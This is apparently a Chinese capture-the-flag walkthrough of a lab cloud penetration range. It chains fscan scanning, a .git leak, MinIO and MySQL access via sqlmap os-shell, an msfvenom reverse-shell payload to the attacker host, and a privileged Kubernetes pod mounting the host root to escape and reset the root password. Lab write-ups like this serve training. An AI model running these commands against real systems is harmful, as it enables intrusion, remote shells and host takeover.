Skip to main content

『记』云渗透靶场WP


题目

任务1:对内网进行信息收集,获取到Minio的secretKey值。

任务2:进入Minio后台,获取MySQL密码。

任务3:获取到 MySQL 主机权限

任务4:提交k8s-master服务器根目录下proof文件内容。

任务5:获取k8s-node1权限,提交服务器根目录下proof文件内容。

任务6:获取k8s-node2权限,提交服务器根目录下proof文件内容。

任务7:进行信息收集,找到身份证尾号为8730的张伟的手机号码。

一、靶场拓扑

该场景包含了公司官网靶标以及域(AD)环境,总共涉及4层的网络拓扑结构,分别为:业务区域、企业资产区域、大数据区、研发运维区域。

场景中涵盖的漏洞类型包括通用Web应用漏洞、中间件漏洞、操作系统漏洞、K8S服务漏洞、数据库漏洞。攻击者需要运用信息收集、漏洞扫描、漏洞利用、内网穿透、K8S未授权API利用等攻防手段来完成渗透任务。拓扑详细信息如下图所示:

image

区域场景节点网络信息节点描述口令信息
业务区域K8SMaster<ip address>K8S集群:mysql服务(负载)、业务系统、对象存储(Minio)<account>/<password>
K8SNode1<ip address>
K8S Node2<ip address>
企业资产区域Mail服务器(AD)<ip address>Exchange Server<account>/<password>
域控服务器(AD)<ip address>域控制器
企业门户服务器(AD)<ip address>``<ip address>WEB服务器
大数据区大数据平台服务器<ip address>WEB服务器/
核心数据库服务器<ip address>MySQL数据库<account>/<password>
大数据核心服务器<ip address>Hadoop服务/
研发运维区域研发运维服务器<ip address>Zabbix 服务器/
大数据研发服务器<ip address>Spark研发测试服务器/
机器学习服务器<ip address>Jupyter  Server/

二、渗透路径

攻击需要登录到攻击机进行操作

1. 1 内网扫描探测收集

查看内网iP地址 :192.168.10.100 ,使用fscan 进行内网探测收集

image-20241105153713413

发现存活主机,50、60、70 进行全端口探测

image-20241105154307595

image-20241105154418771

存在 minio、k8s 6443未授权漏洞、继续对web服务进行目录扫描收集敏感信息

image-20241105155042206

发现存在.git目录,存在git泄露漏洞

1.2 git泄露漏洞利用

使用dumpall命令,下载泄露的git文件。

image-20241105155354035

进入.git泄露的源码目录“192.168.10.50_node”,检查发现存在一个文件demo.html,。通过使用curl命令我们可以发现,网站上已经删除了demo.html。

查看源码获得minio登录密钥

image-20241105155612869

1.3 获得minio存储桶权限

使用获得的密钥登录minio存储桶

image-20241105160029907

在桶中获得mysql配置信息

image-20241105160240366

1.4 拿下mysql

前期我们在探测的时候发现了好多大端口,并没有识别服务 我们使用nmap来识别下服务的信息

nmap -sV -p 30006 192.168.10.50

image-20241105161808015

image-20241105161842815

手动udf提权,或者使用sqlmap提权

sqlmap -d 'mysql://root:CoreMysql@[email protected]:30006/mysql' --os-shell

image-20241105163408694

收集信息,检查环境变量,发现存在K8S变量,得到K8S虚拟ip。export

image-20241105163553340

① 生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.100 LPORT=1000 -f elf |base64 -w0

image-20241105171201068

1.5 对K8S服务器6443未授权进行渗透

kubectl --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true get pods -A -o wide

kubectl get pods -A --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true

image-20241105171759694

kubectl --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true get nodes

image-20241105172048830

创建恶意镜像 poc.yaml

apiVersion: v1
kind: Pod
metadata:
  name: alpha-k8sk8s-master
spec:
  hostNetwork: true
  nodeName: k8s-master
  containers:
    - name: alpha
      image: docker.io/flannel/flannel:v0.21.4
      command: ["/sbin/init"]
      securityContext:
        privileged: true
      volumeMounts:
        - mountPath: /host
          name: hostvolume
  tolerations:
    - key: "node-role.kubernetes.io/control-plane"
      operator: "Exists"
      effect: "NoSchedule"
  volumes:
    - name: hostvolume
      hostPath:
        path: /
        type: Directory
kubectl apply -f pod.yaml  --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true

image-20241112202006461

kubectl  exec --stdin --tty alpha-k8sk8s-master --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true -- bash

逃逸成功后进入到 /etc/ 备份密码文件,并且修改新的密码 zhangsan

image-20241112202606117

然后退出回到攻击机

1.6 拿下K8S-master 节点

使用ssh 连接master

ssh [email protected]      密码:zhangsan

image-20241112202849956

成功获得master权限.

1.7 node1 and node2 同理

1.8 收集敏感信息

image-20241112203650825

1.9 上传fscan 对内网进行扫描

image-20241112204837489